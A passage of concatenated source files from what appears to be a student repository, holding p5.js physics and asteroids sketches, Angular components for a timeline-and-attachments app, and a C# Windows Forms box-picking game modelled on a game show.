keyPressed() { if(keyCode == 222 && gameOver == false) { lasers.push(new Laser(ship.pos, ship.heading)); } else if(keyCode == 68 && gameOver == false) { ship.setRotation(0.1); } else if (keyCode == 65 && gameOver == false) { ship.setRotation(-0.1); } else if (keyCode == 87 && gameOver == false) { ship.boosting(true); } else if (keyCode == 83 && !gameOver) { ship.vel.mult(0.2); } if(key == 'R' && gameOver) { score = 0; for(var i = 0; i < asteroids.length; i++) { asteroids.splice(i); } ship.pos.set(width/2,height/2); for(var i = 0; i < 5; i++) { asteroids.push(new Asteroids()); } gameOver = false; } } function keyReleased() { ship.setRotation(0); ship.boosting(false); }<file_sep>/HNDGradedUnit/js/extras/forces/heliumBalloon/balloon.js function Balloon() { this.loc = createVector(width/2, height/2); this.vel = createVector(0,0); this.acc = createVector(0, -0.1); this.mass = 10; this.topspeed = 3; this.applyForce = function(force) { this.f = p5.Vector.div(force, this.mass); this.acc.add(this.f); } this.update = function() { this.vel.add(this.acc); this.vel.limit(this.topspeed); this.loc.add(this.vel); this.acc.mult(0); } this.display = function() { stroke(100,150); strokeWeight(2); fill(255,0,0); line(this.loc.x, this.loc.y, this.loc.x, this.loc.y+60); ellipse(this.loc.x, this.loc.y, 32, 40); } this.checkEdges = function() { if(this.loc.x > width) { this.loc.x = 0; } else if(this.loc.x < 0) { this.loc.x = width; } if(this.loc.y <= 60) { this.vel.y = 0; } } }<file_sep>/IntegratedProject/src/app/component/event-item/event-item.component.ts import { Component, OnInit, Input, ViewChild, ViewChildren, ElementRef, Output } from '@angular/core'; import { trigger, state, transition, animate, style, keyframes } from '@angular/animations'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service'; import { EventService } from '../../service/event/event.service'; import { TimelineService } from '../../service/timeline/timeline.service'; import { LangService } from '../../service/lang/lang.service' import { AttachmentService } from '../../service/attachment/attachment.service'; import { MatSnackBar } from '@angular/material'; import { FeedbackComponent } from '../../component/feedback/feedback.component'; import { SelectionModel } from '@angular/cdk/collections'; import { HttpEventType, HttpResponse } from '@angular/common/http'; import { DialogCreateEventComponent } from '../../component/dialog-create-event/dialog-create-event.component'; import { DialogConfirmComponent } from '../../component/dialog-confirm/dialog-confirm.component'; import { DialogUploadComponent } from '../../component/dialog-upload/dialog-upload.component'; import { DialogTextInputComponent } from '../../component/dialog-text-input/dialog-text-input.component'; import { DialogAttachPreviewComponent } from '../../component/dialog-attach-preview/dialog-attach-preview.component'; import { DialogDownloadComponent } from '../../component/dialog-download/dialog-download.component'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA, MatTable } from '@angular/material'; import { MatTableDataSource } from '@angular/material'; import { Observable } from 'rxjs/Rx'; import { Attachment } from '../../interface/attachment' import { EventEmitter } from 'events'; import { tryParse } from 'selenium-webdriver/http'; @Component({ selector: 'app-event-item', templateUrl: './event-item.component.html', styleUrls: ['./event-item.component.scss'], animations: [ trigger('appearDisappear', [ transition(':enter', [ animate('300ms cubic-bezier(0.4, 0.0, 0.2, 1)', keyframes([ style({minHeight: '0px', overflow: 'hidden', height: '0px'}), style({minHeight: '*', overflow: 'visible', height: '*'}), ])) ]) ]) ] }) export class EventItemComponent implements OnInit { @ViewChild('mapElement') mapElement; @Input() event; @Input() timelineId; @Input() editTabVisible: boolean; @Input() mapTabVisible: boolean; @ViewChild(MatTable) tableElement: MatTable<0> displayedColumns = ['select', 'title', 'type']; ELEMENT_DATA: Attachment[] = []; dataSource = new MatTableDataSource<Attachment>(this.ELEMENT_DATA); selection = new SelectionModel<Attachment>(true, []); public mapStyles = []; constructor( public DataTransferService:DataTransferService, private dialog: MatDialog, private TimelineService:TimelineService, private EventService:EventService, private AttachmentService:AttachmentService, public feedback: MatSnackBar, public LangService: LangService, ) {} ngOnInit() { this.DataTransferService.currentTheme.subscribe( (data)=>{ if(data == 'pink-bluegrey' || data == 'purple-green'){ this.mapStyles = darkstyles; }else{ this.mapStyles = []; } } ) // build the data for the file table once timeline data is set var refreshIntervalId = setInterval(()=>{ if(typeof this.event != 'undefined') { clearInterval(refreshIntervalId); if(typeof this.event.Attachments != 'undefined'){ this.event.Attachments.forEach((element) => { const lastSpaceIndex = element.Title.lastIndexOf('.'); const type = element.Title.substr(lastSpaceIndex+1) const newTableRow = { Id: element.Id, Title: element.Title, TimelineEventId: element.TimelineEventId, Type: type }; this.ELEMENT_DATA.unshift(newTableRow); }); this.tableElement.renderRows(); } } }, 1000); } /** Whether the number of selected elements matches the total number of rows. */ isAllSelected() { const numSelected = this.selection.selected.length; const numRows = this.dataSource.data.length; return numSelected === numRows; } /** Selects all rows if they are not all selected; otherwise clear selection. */ masterToggle() { this.isAllSelected() ? this.selection.clear() : this.dataSource.data.forEach(row => this.selection.select(row)); } // add and edit event dialog openEventDialog(existingValues) { let parentId; if(!existingValues){ parentId = this.event.Id; } else{ parentId = this.event.LinkedTimelineEventIds[0]; } let dialogRef = this.dialog.open(DialogCreateEventComponent, { width: '800px', data: { clickedEvent:this.event, existingValues:existingValues, timelineId:this.timelineId, parentId:parentId } }); dialogRef.afterClosed().subscribe(result => { if(typeof result != 'undefined' && result.result == 'create') { this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackCreatingEvent,progress:true}}); let newEvent = { Attachments: [], Description: result.description, EventDateTime: result.dateTime, Id: null, LinkedTimelineEventIds: [this.event.Id], LocationLat: result.lat, LocationLng: result.lng, Severity: result.severity, Tags: result.tags, Title: result.title, } this.EventService.createEvent( newEvent,'0','0','0' ).subscribe( (data)=>{ let eventResponseObject = data; this.TimelineService.linkEvent(this.timelineId, data.Id).subscribe( (data)=>{ this.DataTransferService.addTimelineEvent(this.timelineId, newEvent); this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEventCreated,progress:false}, duration:3500}); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackTlLinkFail,progress:false}, duration:3500}); } ) }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackCreateEventFail,progress:false}, duration:3500}); } ) }else if(typeof result != 'undefined' && result.result == 'update'){ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEditingEvent,progress:true}}); let updatedEvent = { Description: result.description, EventDateTime: result.dateTime, Id: this.event.Id, LinkedTimelineEventIds: [this.event.LinkedTimelineEventIds[0]], LocationLat: result.lat, LocationLng: result.lng, Severity: result.severity, Tags: result.tags, Title: result.title, } console.log(updatedEvent); this.EventService.editEventTitle(this.event.Id, JSON.stringify(updatedEvent)).subscribe( (data)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEditedEvent,progress:false}, duration:3500}); this.event.Title = result.title; this.event.Description = result.description; this.event.LocationLat = result.lat; this.event.LocationLng = result.lng; this.event.EventDateTime = result.dateTime; this.event.Severity = result.severity; this.event.Tags = result.tags; }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEditEventErr,progress:false}, duration:3500}); } ); } }); } // edit file title dialog code openEditFileDialog(dialogTitle, fileName) { const lastDotIndex = fileName.lastIndexOf('.'); const type = fileName.substr(lastDotIndex+1) fileName = fileName.substr(0,lastDotIndex) let dialogRef = this.dialog.open(DialogTextInputComponent, { width: '400px', disableClose: true, data: {dialogTitle: dialogTitle, existingText: fileName, suffix: '.'+type} }); dialogRef.afterClosed().subscribe(result => { if(typeof result != 'undefined' && result.confirm) {// if result not undefined and files in return array then add them to the table this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.textInEditingFile + result.text,progress:true}}); this.AttachmentService.editTitle(this.selection.selected[0].Id, result.text).subscribe( (data)=>{ for (let i=this.ELEMENT_DATA.length-1; i>=0; i--) {// update attachment title in the table if (this.ELEMENT_DATA[i].Id === this.selection.selected[0].Id) { this.ELEMENT_DATA[i].Title = result.text; break; // stop loop once found element } } for (let i=this.event.Attachments.length-1; i>=0; i--) {// update attachment title if (this.event.Attachments[i].Id === this.selection.selected[0].Id) { this.event.Attachments[i].Title = result.text; this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackFileNameChanged + result.text,progress:false}, duration: 3500}); break; // stop loop once found attachment } } this.selection.clear(); this.tableElement.renderRows(); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackFileNameChangedErr,progress:false}, duration: 3500}); } ) } }) } // confirm file delete dialog box code openConfirmDialogFile(selectionArr) { let dialogRef = this.dialog.open(DialogConfirmComponent, { width: '400px', data: {question:this.LangService.activeLanguage.confirmDeleteFiles} }); dialogRef.afterClosed().subscribe(result => { console.log(selectionArr) if(result == 'confirm'){ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeletingFiles,progress:true}}); // if confirm dialog loop through each selected file and delete them let deleteObservArr = [] for (let index = 0; index < selectionArr.length; index++) { deleteObservArr.push(this.AttachmentService.deleteAttachment(selectionArr[index].Id)); } Observable.forkJoin(deleteObservArr).subscribe( (data)=>{ for (let index = 0; index < selectionArr.length; index++) { for (let i=this.ELEMENT_DATA.length-1; i>=0; i--) { if (this.ELEMENT_DATA[i].Id === selectionArr[index].Id) { this.ELEMENT_DATA.splice(i, 1); break; // stop loop once found element } } } for (let index = 0; index < selectionArr.length; index++) { for (let i=this.event.Attachments.length-1; i>=0; i--) { if (this.event.Attachments[i].Id === selectionArr[index].Id) { this.event.Attachments.splice(i, 1); break; // stop loop once found element } } } this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackFilesDeleted,progress:false}, duration: 3500}); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeleteFilesErr,progress:false}}); }, ()=>{ this.selection.clear(); this.tableElement.renderRows(); } ) } }) } // confirm dialog box code openConfirmDialogEvent(data) { let idList = this.getIdList(this.event.Id); //list of all event ids below event to be deleted with event ot be delted in position 0 let question = this.LangService.activeLanguage.confirmDeleteEvent if(idList.length > 1){ // if event has children change question question = "Delete this event only or this event and children?" } let dialogRef = this.dialog.open(DialogConfirmComponent, { width: '400px', data: { question:question, eventWithChildren:idList.length-1 } }); dialogRef.afterClosed().subscribe(result => { idList = this.getIdList(this.event.Id)//get ids again just incase something changed if(result == 'confirm'){ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeletingEvents,progress:true}}); let eventDeleteObservArr = [] for (let index = 0; index < idList.length; index++) { const eventId = idList[index]; console.log(eventId) eventDeleteObservArr.push(this.TimelineService.unlinkEvent(this.timelineId, eventId)); eventDeleteObservArr.push(this.EventService.deleteEvent(eventId)); } Observable.forkJoin(eventDeleteObservArr).subscribe( (data)=>{ idList.forEach((eventIdToDel) => { this.DataTransferService.deleteTimelineEvent(this.timelineId, eventIdToDel); }); this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEventsDeleted,progress:false}, duration:3500}); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeleteEventErr,progress:false}, duration:3500}); } ); }else if(result == 'deleteEvent'){ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeletingEvents,progress:true}}); let parentEventId = this.event.LinkedTimelineEventIds[0] idList.splice(0,1);//remove clicked event // find events one lvl below event being deleted and create observables to update links let eventsObservArr = [] for (let index = 0; index < this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents.length; index++) { let childEvent = JSON.parse(JSON.stringify(this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents[index])); //make copy of event if(childEvent.LinkedTimelineEventIds[0] == this.event.Id){ childEvent.LinkedTimelineEventIds[0] = parentEventId; eventsObservArr.push(this.EventService.editEventTitle(childEvent.Id, JSON.stringify(childEvent))); } } eventsObservArr.push(this.TimelineService.unlinkEvent(this.timelineId, this.event.Id)); eventsObservArr.push(this.EventService.deleteEvent(this.event.Id)); Observable.forkJoin(eventsObservArr).subscribe( (data)=>{ // now have success feedback can edit the actual event and not the copy for (let index = 0; index < this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents.length; index++) { const childEvent = this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents[index]; if(childEvent.LinkedTimelineEventIds[0] == this.event.Id){ childEvent.LinkedTimelineEventIds[0] = parentEventId; this.DataTransferService.addTimelineEvent(this.timelineId, childEvent); } } this.DataTransferService.deleteTimelineEvent(this.timelineId, this.event.Id); this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEventsDeleted,progress:false}, duration:3500}); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeleteEventErr,progress:false}, duration:3500}); } ); } }) } getIdList(searchEventId){ let childFound = false; let idList = [searchEventId]; do{ childFound = false; for (let index = 0; index < this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents.length; index++) { const event = this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents[index]; if(idList.includes(event.LinkedTimelineEventIds[0]) && !idList.includes(event.Id)){ childFound = true; idList.push(event.Id); } } }while(childFound) return idList; } // preview attachment dialog box code openPreviewDialog(clickedRow) { let dialogRef = this.dialog.open(DialogAttachPreviewComponent, { width: '900px', data: { start: clickedRow, fileList: this.ELEMENT_DATA } }); } // upload dialog code openUploadDialog() { let dialogRef = this.dialog.open(DialogUploadComponent, { width: '800px', disableClose: true, data: this.event }); dialogRef.afterClosed().subscribe(result => { if(typeof result != 'undefined' && result.length > 0) {// if result not undefined and files in return array then add them to the table for (let index = 0; index < result.length; index++) { this.selection.clear(); this.event.Attachments.unshift(result[index]) this.ELEMENT_DATA.unshift(result[index]); this.tableElement.renderRows(); this.selection.clear() } } }) } openDownloadDialog() { let dialogRef = this.dialog.open(DialogDownloadComponent, { width: '800px', disableClose: true, data: { selectedFiles: this.selection.selected } }); } tryResize(e){ try { // suppress error if map resize fails (this.mapTabVisible && this.event.LocationLng != 'null')?this.mapElement.triggerResize():null; } catch (error) { null; } } beginMove() { this.DataTransferService.moveData.moveActive = true; this.DataTransferService.moveData.idList = this.getIdList(this.event.Id); this.DataTransferService.moveData.event = this.event; this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.eventMovePt1 + this.event.Title + this.LangService.activeLanguage.eventMovePt2,progress:false}}); console.log(this.DataTransferService.moveData); } stopPropagation(e){ e.stopPropagation(); } } let darkstyles = [ {elementType: 'geometry', stylers: [{color: '#242f3e'}]}, {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]}, {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]}, { featureType: 'administrative.locality', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'poi', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'poi.park', elementType: 'geometry', stylers: [{color: '#263c3f'}] }, { featureType: 'poi.park', elementType: 'labels.text.fill', stylers: [{color: '#6b9a76'}] }, { featureType: 'road', elementType: 'geometry', stylers: [{color: '#38414e'}] }, { featureType: 'road', elementType: 'geometry.stroke', stylers: [{color: '#212a37'}] }, { featureType: 'road', elementType: 'labels.text.fill', stylers: [{color: '#9ca5b3'}] }, { featureType: 'road.highway', elementType: 'geometry', stylers: [{color: '#746855'}] }, { featureType: 'road.highway', elementType: 'geometry.stroke', stylers: [{color: '#1f2835'}] }, { featureType: 'road.highway', elementType: 'labels.text.fill', stylers: [{color: '#f3d19c'}] }, { featureType: 'transit', elementType: 'geometry', stylers: [{color: '#2f3948'}] }, { featureType: 'transit.station', elementType: 'labels.text.fill', stylers: [{color: '#d59563'}] }, { featureType: 'water', elementType: 'geometry', stylers: [{color: '#17263c'}] }, { featureType: 'water', elementType: 'labels.text.fill', stylers: [{color: '#515c6d'}] }, { featureType: 'water', elementType: 'labels.text.stroke', stylers: [{color: '#17263c'}] } ]<file_sep>/TakeItOrLeaveIt/Take_IT_Or_Leave_It/frmPlay.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Take_IT_Or_Leave_It { public partial class frmPlay : Form { double[] winningsList = new double[] { .01, .10, .50, 1, 10, 25, 50, 75, 100, 1000, 10000, 25000, 50000, 75000, 100000, 150000, 200000, 250000 }; //creates the list of potential winnings double[] winningsShuffled; //holds the values of winningsList in a random order bool firstBox = true; double firstBoxMoney = 0; System.Windows.Forms.Button[] boxBtn; System.Windows.Forms.Label[] lblArrayL; System.Windows.Forms.Label[] lblArrayR; private Random randomNo = new Random(); int boxesChosen = 0; int boxesRemaining = 18; double offer; public frmPlay() { InitializeComponent(); } private void frmPlay_Load(object sender, EventArgs e) { displayWinningsL(); displayWinningsR(); winningsShuffled = FisherYates(winningsList); displayBoxes(); } private void displayBoxes() { int xPos = 0, yPos = 0; boxBtn = new System.Windows.Forms.Button[18]; //creates an array of 18 buttons for (int i = 0; i < 18; i++) //sets the way the boxes will look { boxBtn[i] = new Button(); boxBtn[i].Size = new Size(100, 100); boxBtn[i].Location = new Point(xPos, yPos); boxBtn[i].BackColor = System.Drawing.Color.Crimson; boxBtn[i].Font = new System.Drawing.Font("Microsoft Sans Serif", 16F, System.Drawing.FontStyle.Bold); boxBtn[i].ForeColor = System.Drawing.Color.White; boxBtn[i].Text = (i + 1).ToString(); if ((i == 3)) //sets a new line of buttons { xPos = 0; yPos = yPos + 120; } if ((i == 6)) //shifts buttons over to the right { xPos = 735; yPos = 0; } if ((i == 9)) { xPos = 735; yPos = yPos + 120; } if ((i == 12)) { xPos = 220; yPos = yPos + 140; } boxBtn[i].Left = xPos; boxBtn[i].Top = yPos; //Adds boxes to Panel boxPanel.Controls.Add(boxBtn[i]); xPos = xPos + boxBtn[i].Width; //links new buttons click event to pickBox boxBtn[i].Click += new System.EventHandler(pickBox); } } private void displayWinningsL() //creates the left panel of winnings { int xPos = 0, yPos = 0; lblArrayL = new Label[9]; //creates an array of 9 labels for (int i = 0; i < 9; i++) //sets the way labels will look { if (i < 3) { lblArrayL[i] = new Label(); lblArrayL[i].Size = new Size(150, 30); lblArrayL[i].Location = new Point(xPos, yPos); lblArrayL[i].BackColor = System.Drawing.Color.Blue; lblArrayL[i].Font = new System.Drawing.Font("Microsoft Sans Serif", 18F, System.Drawing.FontStyle.Bold); lblArrayL[i].ForeColor = System.Drawing.Color.White; lblArrayL[i].TextAlign = ContentAlignment.MiddleCenter; lblArrayL[i].Text = winningsList[i].ToString("C"); } else { lblArrayL[i] = new Label(); lblArrayL[i].Size = new Size(150, 30); lblArrayL[i].Location = new Point(xPos, yPos); lblArrayL[i].BackColor = System.Drawing.Color.Blue; lblArrayL[i].Font = new System.Drawing.Font("Microsoft Sans Serif", 18F, System.Drawing.FontStyle.Bold); lblArrayL[i].ForeColor = System.Drawing.Color.White; lblArrayL[i].TextAlign = ContentAlignment.MiddleCenter; lblArrayL[i].Text = winningsList[i].ToString("C0"); } if ((i == 1)) //sets each item on a new row { xPos = 0; yPos = yPos + 31; } if ((i == 2)) { xPos = 0; yPos = yPos + 31; } if ((i == 3)) { xPos = 0; yPos = yPos + 31; } if ((i == 4)) { xPos = 0; yPos = yPos + 31; } if ((i == 5)) { xPos = 0; yPos = yPos + 31; } if ((i == 6)) { xPos = 0; yPos = yPos + 31; } if ((i == 7)) { xPos = 0; yPos = yPos + 31; } if ((i == 8)) { xPos = 0; yPos = yPos + 31; } lblArrayL[i].Left = xPos; lblArrayL[i].Top = yPos; //Adds items to Panel winningsL.Controls.Add(lblArrayL[i]); xPos = xPos + lblArrayL[i].Width; } } private void displayWinningsR() //creates the right panel of winnings { int xPos = 0, yPos = 0; lblArrayR = new Label[9]; for (int i = 0; i < 9; i++) { lblArrayR[i] = new Label(); lblArrayR[i].Size = new Size(150, 30); lblArrayR[i].Location = new Point(xPos, yPos); lblArrayR[i].BackColor = System.Drawing.Color.Crimson; lblArrayR[i].Font = new System.Drawing.Font("Microsoft Sans Serif", 18F, System.Drawing.FontStyle.Bold); lblArrayR[i].ForeColor = System.Drawing.Color.White; lblArrayR[i].TextAlign = ContentAlignment.MiddleCenter; lblArrayR[i].Text = winningsList[i + 9].ToString("C0"); if ((i == 1)) { xPos = 0; yPos = yPos + 31; } if ((i == 2)) { xPos = 0; yPos = yPos + 31; } if ((i == 3)) { xPos = 0; yPos = yPos + 31; } if ((i == 4)) { xPos = 0; yPos = yPos + 31; } if ((i == 5)) { xPos = 0; yPos = yPos + 31; } if ((i == 6)) { xPos = 0; yPos = yPos + 31; } if ((i == 7)) { xPos = 0; yPos = yPos + 31; } if ((i == 8)) { xPos = 0; yPos = yPos + 31; } lblArrayR[i].Left = xPos; lblArrayR[i].Top = yPos; //Adds boxes to Panel winningsR.Controls.Add(lblArrayR[i]); xPos = xPos + lblArrayR[i].Width; } } private void btnExit_Click(object sender, EventArgs e) { Application.Exit(); //exits the game } private double[] FisherYates(double[] array) { Random r = new Random(); for (int i = array.Length - 1; i > 0; i--) { int index = r.Next(i); double tmp = array[index]; //swap array[index] = array[i]; array[i] = tmp; } return array; } public void pickBox(object sender, EventArgs e) { Button btn = (Button)sender; int boxNo = int.Parse(btn.Text) - 1; double moneyValue = winningsShuffled[boxNo]; for (int i = 0; i < 18; i++) { btn.Tag = moneyValue.ToString(); boxBtn[i].Tag = btn.Tag; } if (firstBox == true) //sets the first box aside as the players { firstBox = false; lblYourBox.Text = btn.Text; btn.Enabled = false; lblYourBox.Size = new Size(80, 80); lblYourBox.BackColor = System.Drawing.Color.Crimson; lblYourBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 16F, System.Drawing.FontStyle.Bold); lblYourBox.ForeColor = System.Drawing.Color.White; lblYourBox.Tag = btn.Tag.ToString(); firstBoxMoney = winningsShuffled[boxNo]; boxesRemaining--; MessageBox.Show("Now choose the first 3 boxes you would like to eliminate from play."); } else //disables chosen box and displays contents { btn.Text = btn.Tag.ToString(); btn.Enabled = false; btn.ForeColor = System.Drawing.Color.White; btn.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Bold); winningsShuffled[boxNo] = 0; boxesChosen++; boxesRemaining--; if (moneyValue == .01) //blacks out the contents of winnings panel as corresponding boxes are chosen { lblArrayL[0].ForeColor = System.Drawing.Color.Black; } if (moneyValue == .10) { lblArrayL[1].ForeColor = System.Drawing.Color.Black; } if (moneyValue == .50) { lblArrayL[2].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 1) { lblArrayL[3].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 10) { lblArrayL[4].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 25) { lblArrayL[5].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 50) { lblArrayL[6].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 75) { lblArrayL[7].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 100) { lblArrayL[8].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 1000) { lblArrayR[0].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 10000) { lblArrayR[1].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 25000) { lblArrayR[2].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 50000) { lblArrayR[3].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 75000) { lblArrayR[4].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 100000) { lblArrayR[5].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 150000) { lblArrayR[6].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 200000) { lblArrayR[7].ForeColor = System.Drawing.Color.Black; } if (moneyValue == 250000) { lblArrayR[8].ForeColor = System.Drawing.Color.Black; } } if (boxesChosen == 3) //displays an offer every 3 boxes { offerGen(); DialogResult dialogResult = MessageBox.Show("Would you like to accept?", "Your offer is " + offer.ToString("C"), MessageBoxButtons.YesNo); if (dialogResult == DialogResult.Yes) //displays winnings and exits game { MessageBox.Show("Congratulations! You have won " + offer.ToString("C")); Application.Exit(); } else if (dialogResult == DialogResult.No) //closes message box and keeps playing { boxesChosen = 0; //resets boxes chosen for another round lblOffer.Text = offer.ToString("C"); } } else if (boxesRemaining <= 2) //makes the playes choose between last two boxes { double moneyLeft = 0; for (int i = 0; i < winningsShuffled.Length; i++) { moneyLeft += winningsShuffled[i]; } moneyLeft -= firstBoxMoney; DialogResult dialogResult = MessageBox.Show("Press yes to keep your own or no to swap for the last remaining box", "Two boxes remain", MessageBoxButtons.YesNo); if (dialogResult == DialogResult.Yes) //displays the players chosen box contents and exits the game { MessageBox.Show("Congratulations! You have won " + firstBoxMoney.ToString("C")); MessageBox.Show("The other box contained " + moneyLeft.ToString("C")); Application.Exit(); } else if (dialogResult == DialogResult.No) //displays the last remaining box contents and exits the game { MessageBox.Show("Congratulations! You have won " + moneyLeft.ToString("C")); MessageBox.Show("Your box contained " + firstBoxMoney.ToString("C")); Application.Exit(); } } } public void offerGen() //generates an offer every three boxes chosen { double cash = 0; for (int i = 0; i < winningsShuffled.Length; i++) cash += winningsShuffled[i]; offer = cash / boxesRemaining; if (boxesRemaining >=8 && offer >= 30000) //sets low offers early game { offer = offer / 20; } else { offer = cash / boxesRemaining; } } } } <file_sep>/HNDGradedUnit/js/extras/walkers&movers/MouseMover/mover.js function Mover() { //initialising the location, acceleration and velocity vectors this.loc = createVector(width/2,height/2); this.vel = createVector(0,0); //this.acc = createVector(1,0); //initialising top speed of mover this.topspeed = 5; //initialising time for Perlin noise this.time = createVector(0,10000); this.update = function() { //create vector for mouse location this.mouse = createVector(mouseX, mouseY); //creating a vector to compute direction this.dir = p5.Vector.sub(this.mouse, this.loc); //Normalising direction vector this.dir.normalize(); //scaling direction vector this.dir.mult(0.2); //accelerate according to direction this.acc = this.dir; //motion 101 - assigning velocity to acceleration, limiting velocity then changing location based on velocity this.vel.add(this.acc); this.vel.limit(this.topspeed); this.loc.add(this.vel); //incrementing time for different Perlin noise values this.time.add(0.01,0.01); } this.display = function() { stroke(0); fill(100); //drawing the mover ellipse(this.loc.x, this.loc.y, 16, 16); } this.checkEdges = function() { //checks if mover has reached max/min width and if so setting location to opposite side if(this.loc.x > width) { this.loc.x = 0; } else if (this.loc.x < 0) { this.loc.x = width; } if(this.loc.y > height) { this.loc.y = 0; } else if(this.loc.y < 0) { this.loc.y = height; } } }<file_sep>/IntegratedProject/src/app/component/right-pane/right-pane.component.ts import { Component, OnInit, ViewChild, ViewChildren, ElementRef, AfterViewInit, QueryList, Input, animate, keyframes, style, trigger, transition, state } from '@angular/core'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service'; import { TimelineService } from '../../service/timeline/timeline.service'; import { LangService } from '../../service/lang/lang.service'; import { EventService } from '../../service/event/event.service'; import { AttachmentService } from '../../service/attachment/attachment.service'; import { FeedbackComponent } from '../../component/feedback/feedback.component'; import { MatSnackBar } from '@angular/material'; import { DialogCreateEventComponent } from '../../component/dialog-create-event/dialog-create-event.component'; import { DialogConfirmComponent } from '../../component/dialog-confirm/dialog-confirm.component'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material'; import { stringify } from 'querystring'; import { tryParse } from 'selenium-webdriver/http'; import { TimelineListItem } from '../../interface/timeline-list-item' @Component({ selector: 'app-right-pane', templateUrl: './right-pane.component.html', styleUrls: ['./right-pane.component.scss'], animations: [] }) export class RightPaneComponent implements OnInit { eventToolsExpanded: boolean = false; constructor( public DataTransferService:DataTransferService, private AttachmentService:AttachmentService, private TimelineService:TimelineService, private EventService:EventService, public LangService: LangService, public feedback: MatSnackBar, public dialog: MatDialog, ) { } public eventSearch: string; public timelineLoading: boolean = false; @Input() timelineId; ngOnInit(){ if (this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents.length == 0) { // if timeline has no events setTimeout(()=>{// small delay so event dialog doesnt pop up instantly this.openEventDialog(); }, 350); } } stopPropagation(e){ e.stopPropagation(); } // event dialog box code openEventDialog() { let dialogRef = this.dialog.open(DialogCreateEventComponent, { width: '800px', data: { clickedEvent:null, existingValues:null, timelineId:this.timelineId, parentId:null } }); dialogRef.afterClosed().subscribe((result) => { if(typeof result != 'undefined' && result.result == 'create') { this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackCreatingEvent,progress:true}}); let newEvent = { Description: result.description, EventDateTime: result.dateTime, Id: null, LinkedTimelineEventIds: [], LocationLat: result.lat, LocationLng: result.lng, Severity: result.severity, Tags: result.tags, Title: result.title, } this.EventService.createEvent( newEvent,'0','0','0' ).subscribe( (data)=>{ console.log(data); let eventResponseObject = data; this.TimelineService.linkEvent(this.timelineId, eventResponseObject.Id).subscribe( (data)=>{ newEvent.Id = eventResponseObject['Id']; newEvent['Attachments'] = []; this.DataTransferService.addTimelineEvent(this.timelineId, newEvent); this.timelineLoading = false; console.log(this.timelineId) this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEventCreated,progress:false}, duration:3500}); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackTlLinkFail,progress:false}, duration:3500}); } ) }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackCreateEventFail,progress:false}, duration:3500}); } ) } }); } }<file_sep>/IntegratedProject/src/app/component/dialog-download/dialog-download.component.ts import { Component, OnInit, Inject, OnDestroy } from '@angular/core'; import { MatDialog, 